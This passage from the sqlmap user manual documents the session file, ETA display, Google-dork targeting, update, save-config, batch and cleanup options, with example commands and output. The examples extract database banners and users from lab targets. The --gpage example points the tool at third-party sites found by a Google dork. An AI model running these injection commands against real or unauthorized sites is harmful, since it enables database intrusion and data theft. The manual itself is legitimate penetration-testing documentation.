The default session file is <tt>output/hostname/session</tt>, but you can
|
|
change its path with the <tt>-s</tt> option.
|
|
|
|
<p>
|
|
Example on a <bf>PostgreSQL 8.3.5</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -b \
|
|
-v 2 -s "sqlmap.log"
|
|
|
|
[...]
|
|
back-end DBMS: PostgreSQL
|
|
[hh:mm:02] [DEBUG] query: VERSION()
|
|
[hh:mm:02] [INFO] retrieved: PostgreSQL 8.3.5 on i486-pc-^C
|
|
[hh:mm:03] [ERROR] user aborted
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
As you can see, I stopped the injection with <tt>CTRL-C</tt> while
|
|
retrieving the PostgreSQL banner and logged the session to text file
|
|
<tt>sqlmap.log</tt>.
|
|
|
|
<tscreen><verb>
|
|
$ cat sqlmap.log
|
|
|
|
[hh:mm:00 MM/DD/YY]
|
|
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][Injection point][GET]
|
|
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][Injection parameter][id]
|
|
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][Injection type][numeric]
|
|
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][Parenthesis][0]
|
|
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][CONCAT('9', '9')][]
|
|
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH(SYSDATE)][]
|
|
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][COALESCE(3, NULL)][3]
|
|
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH('3')][1]
|
|
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][DBMS][PostgreSQL]
|
|
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][VERSION()][PostgreSQL 8.3.5
|
|
on i486-pc-
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
As you can see, all queries performed and their output have been logged to
|
|
the session file in real time while performing the injection.
|
|
|
|
<p>
|
|
The session file has a structure as follows:
|
|
|
|
<tscreen><verb>
|
|
[hh:mm:ss MM/DD/YY]
|
|
[Target URL][Injection point][Parameters][Query or information name][Query output or value]
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Performing the same request now, sqlmap resumes all information already
|
|
retrieved then calculates the query length, in the example
|
|
<tt>VERSION()</tt>, and resumes the injection from the last character
|
|
retrieved to the end of the query output.
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -b \
|
|
-v 2 -s "sqlmap.log"
|
|
|
|
[...]
|
|
[hh:mm:03] [INFO] resuming injection point 'GET' from session file
|
|
[hh:mm:03] [INFO] resuming injection parameter 'id' from session file
|
|
[hh:mm:03] [INFO] resuming injection type 'numeric' from session file
|
|
[hh:mm:03] [INFO] resuming 0 number of parenthesis from session file
|
|
[hh:mm:03] [INFO] resuming back-end DBMS 'PostgreSQL' from session file
|
|
[hh:mm:03] [INFO] testing connection to the target url
|
|
[hh:mm:03] [INFO] testing for parenthesis on injectable parameter
|
|
[hh:mm:03] [INFO] retrieving the length of query output
|
|
[hh:mm:03] [DEBUG] query: LENGTH(VERSION())
|
|
[hh:mm:03] [INFO] retrieved: 98
|
|
[hh:mm:03] [INFO] resumed from file 'sqlmap.log': PostgreSQL 8.3.5 on i486-pc-...
|
|
[hh:mm:03] [INFO] retrieving pending 70 query output characters
|
|
[hh:mm:03] [DEBUG] query: SUBSTR((VERSION())::text, 29, 98)
|
|
[hh:mm:03] [INFO] retrieved: linux-gnu, compiled by GCC gcc-4.3.real
|
|
(Ubuntu 4.3.2-1ubuntu11) 4.3.2
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[hh:mm:07] [INFO] fetching banner
|
|
banner: 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
|
|
(Ubuntu 4.3.2-1ubuntu11) 4.3.2'
|
|
</verb></tscreen>
|
|
|
|
|
|
<sect2>Flush session file for current target
|
|
|
|
<p>
|
|
Option: <tt>-</tt><tt>-flush-session</tt>
|
|
|
|
<p>
|
|
As you are already familiar with the concept of a session file from the
|
|
description of option <tt>-s</tt>, it is good to know that you can flush
|
|
the content of that same file using option <tt>-</tt><tt>-flush-session</tt>.
|
|
This way you can avoid caching mechanisms implemented by default in
|
|
sqlmap. Other possible way is the manual removing of session file(s),
|
|
<tt>sqlmap.log</tt> in the example above, or the default
|
|
<tt>output/hostname/session</tt> if <tt>-s</tt> is not provided.
|
|
|
|
|
|
<sect2>Estimated time of arrival
|
|
|
|
<p>
|
|
Option: <tt>-</tt><tt>-eta</tt>
|
|
|
|
<p>
|
|
It is possible to calculate and show the estimated time of arrival to
|
|
retrieve each query output in real time while performing the SQL injection
|
|
attack.
|
|
|
|
<p>
|
|
Example on an <bf>Oracle XE 10.2.0.1</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" -b \
|
|
--eta -v 2
|
|
|
|
[...]
|
|
back-end DBMS: Oracle
|
|
|
|
[hh:mm:24] [INFO] fetching banner
|
|
[hh:mm:24] [INFO] the resumed output is partial, sqlmap is going to retrieve the query
|
|
output again
|
|
[hh:mm:24] [INFO] retrieved the length of query output: 64
|
|
[hh:mm:24] [DEBUG] query: SELECT NVL(CAST(banner AS VARCHAR(4000)), (CHR(32))) FROM v$version
|
|
WHERE ROWNUM=1
|
|
77% [=======================================> ] 49/64 ETA 00:00
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
then:
|
|
|
|
<tscreen><verb>
|
|
100% [====================================================] 64/64
|
|
[hh:mm:15] [DEBUG] performed 454 queries in 2 seconds
|
|
banner: 'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" \
|
|
--users --eta -v 1
|
|
|
|
[...]
|
|
back-end DBMS: Microsoft SQL Server 2000
|
|
|
|
[hh:mm:57] [INFO] fetching database users
|
|
[hh:mm:57] [INFO] fetching number of database users
|
|
[hh:mm:57] [INFO] retrieved: 3
|
|
[hh:mm:57] [INFO] retrieved the length of query output: 22
|
|
100% [====================================================] 22/22
|
|
[hh:mm:58] [INFO] retrieved the length of query output: 2
|
|
100% [====================================================] 2/2
|
|
[hh:mm:59] [INFO] retrieved the length of query output: 25
|
|
100% [====================================================] 25/25
|
|
[hh:mm:00] [DEBUG] performed 181 queries in 1 seconds
|
|
database management system users [3]:
|
|
[*] BUILTIN\Administrators
|
|
[*] sa
|
|
[*] W2KITINQUIS\Administrator
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
As you can see, sqlmap first calculates the length of the query output,
|
|
then estimates the time of arrival, shows the progress in percentage and
|
|
counts the number of retrieved query output characters.
|
|
|
|
|
|
<sect2>Use Google dork results from specified page number
|
|
|
|
<p>
|
|
Option: <tt>-</tt><tt>-gpage</tt>
|
|
|
|
<p>
|
|
Default sqlmap behavior with option <tt>-g</tt> is to do a Google
|
|
search and use resulting urls from first (100) result page for further
|
|
sql injection testing. In combination with this option you can specify
|
|
some other page other than the first one for retrieving target urls.
|
|
|
|
<p>
|
|
Example of Google dorking with expression <tt>login ext:php</tt>
|
|
and resulting page set to 3:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -g "ext:php login" --gpage 3 -v 1
|
|
|
|
[hh:mm:14] [INFO] first request to Google to get the session cookie
|
|
[hh:mm:14] [INFO] using Google result page #3
|
|
[hh:mm:14] [INFO] sqlmap got 100 results for your Google dork expression, 89 of them are
|
|
testable targets
|
|
[hh:mm:15] [INFO] sqlmap got a total of 89 targets
|
|
url 1:
|
|
GET http://www.XXX.com/index.php?pageid=login
|
|
do you want to test this url? [Y/n/q]
|
|
> y
|
|
[hh:mm:17] [INFO] testing url http://www.XXX.com/index.php?pageid=login
|
|
[hh:mm:17] [INFO] using '/home/inquis/sqlmap/output/www.XXX.com/session' as session file
|
|
[hh:mm:17] [INFO] testing connection to the target url
|
|
[hh:mm:17] [INFO] testing if the url is stable, wait a few seconds
|
|
[hh:mm:19] [INFO] url is stable
|
|
[hh:mm:19] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
|
|
[hh:mm:21] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
|
|
[hh:mm:22] [INFO] testing if Cookie parameter 'PHPSESSID' is dynamic
|
|
[hh:mm:24] [INFO] confirming that Cookie parameter 'PHPSESSID' is dynamic
|
|
[hh:mm:27] [INFO] Cookie parameter 'PHPSESSID' is dynamic
|
|
[...]
|
|
</verb></tscreen>
|
|
|
|
|
|
<sect2>Update sqlmap
|
|
|
|
<p>
|
|
Option: <tt>-</tt><tt>-update</tt>
|
|
|
|
<p>
|
|
Using this option you can update the program to the latest version
|
|
directly from the Subversion repository along with the latest
|
|
Microsoft SQL Server XML versions file from Chip Andrews'
|
|
<htmlurl url="http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx"
|
|
name="SQLSecurity.com site">.
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py --update
|
|
|
|
[...]
|
|
[hh:mm:27] [INFO] updating sqlmap to latest development version from the subversion repository
|
|
[hh:mm:28] [INFO] updated to the latest revision XXXX
|
|
[hh:mm:29] [INFO] updating Microsoft SQL Server XML versions file
|
|
[hh:mm:33] [INFO] no new Microsoft SQL Server versions since the last update
|
|
[...]
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
The Debian and Red Hat installation packages (deb and rpm) as well as the
|
|
Windows binary package (exe) can not be used to update sqlmap. You need
|
|
a source package (gzip, bzip2 or zip) to use this feature.
|
|
|
|
|
|
<sect2>Save options in a configuration INI file
|
|
|
|
<p>
|
|
Option: <tt>-</tt><tt>-save</tt>
|
|
|
|
<p>
|
|
It is possible to save the command line options to a configuration INI
|
|
file.
|
|
|
|
<p>
|
|
Example on a <bf>PostgreSQL 8.3.5</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -b \
|
|
-v 1 --save
|
|
|
|
[hh:mm:33] [INFO] saved command line options on '/home/inquis/sqlmap/sqlmap-SAUbs.conf'
|
|
configuration file
|
|
[hh:mm:33] [INFO] testing connection to the target url
|
|
[hh:mm:33] [INFO] testing if the url is stable, wait a few seconds
|
|
[...]
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
As you can see, sqlmap saved the command line options to a configuration
|
|
INI file, <tt>sqlmap-SAUbs.conf</tt>.
|
|
|
|
<tscreen><verb>
|
|
$ cat sqlmap-SAUbs.conf
|
|
[Target]
|
|
url = http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1
|
|
googledork =
|
|
configfile =
|
|
list =
|
|
requestfile =
|
|
|
|
[Windows]
|
|
regread = False
|
|
regval =
|
|
regdata =
|
|
regadd = False
|
|
regdel = False
|
|
regtype =
|
|
regkey =
|
|
|
|
[User-defined function]
|
|
shlib =
|
|
udfinject = False
|
|
|
|
[Request]
|
|
cookieurlencode = False
|
|
ignoreproxy = False
|
|
threads = 1
|
|
acert =
|
|
retries = 3
|
|
useragentsfile =
|
|
atype =
|
|
agent =
|
|
delay = 0
|
|
headers =
|
|
cookie =
|
|
proxy =
|
|
timeout = 30
|
|
scope =
|
|
acred =
|
|
referer =
|
|
dropsetcookie = False
|
|
data =
|
|
method = GET
|
|
|
|
[Miscellaneous]
|
|
updateall = False
|
|
sessionfile =
|
|
eta = False
|
|
batch = False
|
|
flushsession = False
|
|
cleanup = False
|
|
googlepage = 0
|
|
verbose = 1
|
|
|
|
[Enumeration]
|
|
limitstop = 0
|
|
getpasswordhashes = False
|
|
excludesysdbs = False
|
|
getcurrentdb = False
|
|
getcurrentuser = False
|
|
limitstart = 0
|
|
query =
|
|
getusers = False
|
|
isdba = False
|
|
gettables = False
|
|
dumptable = False
|
|
getdbs = False
|
|
db =
|
|
sqlshell = False
|
|
tbl =
|
|
firstchar = 0
|
|
getcolumns = False
|
|
getbanner = True
|
|
dumpall = False
|
|
getprivileges = False
|
|
lastchar = 0
|
|
col =
|
|
user =
|
|
|
|
[File system]
|
|
dfile =
|
|
wfile =
|
|
rfile =
|
|
|
|
[Takeover]
|
|
msfpath =
|
|
osshell = False
|
|
ossmb = False
|
|
privesc = False
|
|
ospwn = False
|
|
tmppath =
|
|
oscmd =
|
|
osbof = False
|
|
|
|
[Fingerprint]
|
|
extensivefp = False
|
|
|
|
[Injection]
|
|
dbms =
|
|
string =
|
|
postfix =
|
|
regexp =
|
|
prefix =
|
|
testparameter =
|
|
estring =
|
|
eregexp =
|
|
os =
|
|
|
|
[Techniques]
|
|
utech =
|
|
unionuse = False
|
|
timetest = False
|
|
uniontest = False
|
|
stackedtest = False
|
|
timesec = 5
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
The file is a valid sqlmap configuration INI file.
|
|
You can edit the configuration options as you wish and pass it to sqlmap
|
|
with the <tt>-c</tt> option as explained above in section 5.2.5:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -c sqlmap-SAUbs.conf
|
|
|
|
[...]
|
|
banner: 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
|
|
(Ubuntu 4.3.2-1ubuntu11) 4.3.2'
|
|
</verb></tscreen>
|
|
|
|
|
|
<sect2>Act in non-interactive mode
|
|
|
|
<p>
|
|
Option: <tt>-</tt><tt>-batch</tt>
|
|
|
|
<p>
|
|
If you want sqlmap to run as a batch tool, without any user's interaction
|
|
when sqlmap requires it, you can force it by using <tt>-</tt><tt>-batch</tt>
|
|
option, and leave sqlmap to go for a default behaviour.
|
|
|
|
<p>
|
|
Example on a <bf>MySQL 5.0.67</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_str.php?id=1&name=luther" \
|
|
--batch -v 1
|
|
|
|
[...]
|
|
[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
|
|
[hh:mm:22] [INFO] testing unescaped numeric injection on GET parameter 'id'
|
|
[hh:mm:22] [INFO] confirming unescaped numeric injection on GET parameter 'id'
|
|
[hh:mm:22] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
|
|
[hh:mm:22] [INFO] testing if GET parameter 'name' is dynamic
|
|
[hh:mm:22] [INFO] confirming that GET parameter 'name' is dynamic
|
|
[hh:mm:22] [INFO] GET parameter 'name' is dynamic
|
|
[hh:mm:22] [INFO] testing sql injection on GET parameter 'name' with 0 parenthesis
|
|
[hh:mm:22] [INFO] testing unescaped numeric injection on GET parameter 'name'
|
|
[hh:mm:22] [INFO] GET parameter 'name' is not unescaped numeric injectable
|
|
[hh:mm:22] [INFO] testing single quoted string injection on GET parameter 'name'
|
|
[hh:mm:22] [INFO] confirming single quoted string injection on GET parameter 'name'
|
|
[hh:mm:22] [INFO] GET parameter 'name' is single quoted string injectable with 0 parenthesis
|
|
[hh:mm:22] [INFO] there were multiple injection points, please select the one to use to go
|
|
ahead:
|
|
[0] place: GET, parameter: id, type: numeric (default)
|
|
[1] place: GET, parameter: name, type: stringsingle
|
|
[q] Quit
|
|
Choice: 0
|
|
[hh:mm:22] [DEBUG] used the default behaviour, running in batch mode
|
|
[...]
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
As you can see, sqlmap by default chose the injection payload to the first
|
|
vulnerable parameter.
|
|
|
|
|
|
<sect2>Cleanup the DBMS by sqlmap specific UDF(s) and table(s)
|
|
|
|
<p>
|
|
Option: <tt>-</tt><tt>-cleanup</tt>
|
|
|
|
<p>
|
|
It is recommended to clean up the back-end database management system from
|
|
sqlmap temporary table(s) and created user-defined function(s) when you
|
|
are done with owning the underlying operating system or file system.
|
|
|
|
<p>
|
|
Example on a <bf>PostgreSQL 8.3.5</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/iis/get_int.aspx?id=1" \
|
|
-v 2 --cleanup
|
|
|
|
[...]
|
|
[hh:mm:18] [INFO] cleaning up the database management system
|
|
[hh:mm:18] [DEBUG] removing support tables
|
|
[hh:mm:18] [DEBUG] query: DROP TABLE sqlmapfile
|
|
[hh:mm:18] [DEBUG] query: DROP TABLE sqlmapoutput
|
|
do you want to remove sys_exec UDF? [Y/n]
|
|
[hh:mm:20] [DEBUG] removing sys_exec UDF
|
|
[hh:mm:20] [DEBUG] query: DROP FUNCTION sys_exec(text)
|
|
do you want to remove sys_eval UDF? [Y/n]
|
|
[hh:mm:21] [DEBUG] removing sys_eval UDF
|
|
[hh:mm:21] [DEBUG] query: DROP FUNCTION sys_eval(text)
|
|
[hh:mm:21] [INFO] database management system cleanup finished
|
|
[hh:mm:21] [WARNING] remember that UDF shared library files saved on the file system can
|
|
only be deleted manually
|
|
</verb></tscreen>
|
|
|
|
|
|
<sect>Disclaimer
|
|
|
|
<p>
|
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
|
details.
|
|
|
|
<p>
|
|
Whatever you do with this tool is uniquely your responsibility. If you are
|
|
not authorized to punch holes in the network you are attacking be aware
|
|
that such action might get you in trouble with a lot of law enforcement
|
|
agencies.
|
|
|
|
|
|
<sect>Authors
|
|
|
|
<p>
|
|
<htmlurl url="mailto:bernardo.damele@gmail.com" name="Bernardo Damele A. G."> (inquis) - Lead developer.
|
|
PGP Key ID: <htmlurl url="http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x05F5A30F" name="0x05F5A30F">
|
|
|
|
<htmlurl url="mailto:miroslav.stampar@gmail.com" name="Miroslav Stampar"> (stamparm) - Developer.
|
|
PGP Key ID: <htmlurl url="http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xB5397B1B" name="0xB5397B1B">
|
|
|
|
</article>
|